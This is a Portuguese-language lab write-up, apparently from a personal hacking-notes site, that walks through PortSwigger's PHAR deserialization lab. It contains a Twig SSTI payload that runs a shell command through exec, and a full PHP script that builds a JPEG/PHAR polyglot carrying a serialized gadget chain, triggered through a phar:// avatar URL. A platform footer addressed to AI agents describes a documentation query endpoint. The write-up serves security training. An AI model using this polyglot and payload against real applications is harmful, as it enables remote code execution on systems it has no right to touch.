> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/deserialization/phar-deserialization-with-custom-chain.md).

# Desserialização em PHAR com cadeia personalizada

Notas sobre desserialização em PHAR com cadeia personalizada para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Usando desserialização PHAR para implantar uma cadeia de gadgets personalizada

Este laboratório não **não** faz desserialização clássica explícita. A ideia é **provocar** desserialização explorando o comportamento do PHP com o wrapper **`phar://`**, a fim de alcançar uma **RCE** por meio de uma **cadeia de gadgets personalizada**, então exclua:

* `/home/carlos/morale.txt`

Identificador fornecido:

* `wiener:peter`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174b5e43c23570cd3bc48e0f993e6911c8fbfec3%2Fimage%20(237).png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Marcação no lado da aplicação

#### Envio de avatar

Após a autenticação, você pode **enviar um arquivo** por meio de uma requisição POST na funcionalidade de avatar.1) Marcação no lado da aplicação

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37c34aa7724e2017d159af4659c6dc44714bf92c%2Fimage%20(238).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bf508699ec931fd017e6b0513539a673af9e3fd%2Fimage%20(239).png?alt=media" alt=""><figcaption></figcaption></figure>

Quando você clica na imagem de perfil, acione o carregamento via:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32b019e990e9903c7e1d97b074e076244f46f3dc%2Fimage%20(240).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Arquivos legíveis em `/cgi-bin/`

Ao visitar `/cgi-bin/`, vários arquivos são **legíveis** (útil para recuperar o código e montar a string).

| Nome                  | Tamanho |
| --------------------- | ------- |
| CustomTemplate.php    | 1091B   |
| CustomTemplate.php/\~ | 0B      |
| Blog.php              | 628B    |
| Blog.php/\~           | 0B      |
| avatar.php            | 540B    |

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b91b222e99a8f8da5aade527e3e5bd546f58a86%2Fimage%20(241).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) Código-fonte recuperado

#### `blog.php`

Há um `Blog` classe que inicializa Twig em `__wakeup()`:

* `__sleep()` serializa `usuário` e `desc`
* `__wakeup()` constrói um `Twig_Environment` com um template baseado em `desc`
* `__toString()` renderiza `index` e injeta `usuário`

Ponto importante: `desc` torna-se diretamente um **template Twig**, então pode ser usado para atingir **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

O `CustomTemplate` a classe contém:

* um campo privado `$template_file_path` campo
* um `__destruct()` destrutor que faz:
* `@unlink($this->lockFilePath());`

`lockFilePath()` constrói:

* `'templates/' . $this->template_file_path . '.lock'`

Então, se controlarmos `template_file_path` com um objeto que converte para string, podemos influenciar o caminho usado por `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Não foi possível escrever em " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Não foi possível escrever em " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos achou que isso seria uma boa ideia
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Carga útil Twig (SSTI → Exec)

Carga útil Twig usada:

Objetivo: executar `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Estratégia de operação: PHAR poliglota

O desafio: o envio aguarda um **image**. / Solução: criar um **poliglota** arquivo:

* Válido como **JPEG**
* mas contendo um **PHAR** (formato tar/phar) com **metadados** serializado

Por que funciona?

* Quando o PHP abre um recurso via `phar://...`, ele pode disparar a leitura do manifesto PHAR e **desserializar metadados** (então execute `__wakeup`, `__destruct`, etc., dependendo da string).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remover <?php não funciona com prefixo
    $len = strlen($phar) + 2; // corrigido
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calcular checksum tar
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // incorporar checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// classe de exploit pop
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// configuração para jpg
$tempname = 'temp.tar.phar'; // torná-lo tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// criar jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// configuração para gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // cabeçalho gif, tamanho 300 x 300
$tempname = 'temp.phar'; // torná-lo phar
$outfile = 'out.gif';

// criar gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Cadeia de gadgets construída

Você cria:

* um `Blog` objeto com:
* `user = "pwned"`
* `desc = <carga útil SSTI Twig>`
* então você coloca este objeto em `CustomTemplate->template_file_path`

Assim, quando `CustomTemplate` for destruído, `lockFilePath()` concatenará um valor de um objeto, o que força a conversão para string → chama `Blog::__toString()` → aciona `twig->render()` → interpreta `desc` → executa o comando.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcbf355533c83e1bf4176125a7996684bfec5081%2Fimage%20(242).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:5:"pwned";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";}}"
```

{% endcode %}

* Envie `out.jpg` como avatar

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f03158efa02cc52d5afbb52dbf55151c4f18bd5e%2Fimage%20(243).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56bcacfe6c49d1680f52e5a1edb7b6984180642f%2Fimage%20(244).png?alt=media" alt=""><figcaption></figcaption></figure>

Chamada de recurso via `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

Nesse momento, a aplicação abre o recurso com o wrapper PHAR, os metadados são desserializados, a string é acionada e o arquivo:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
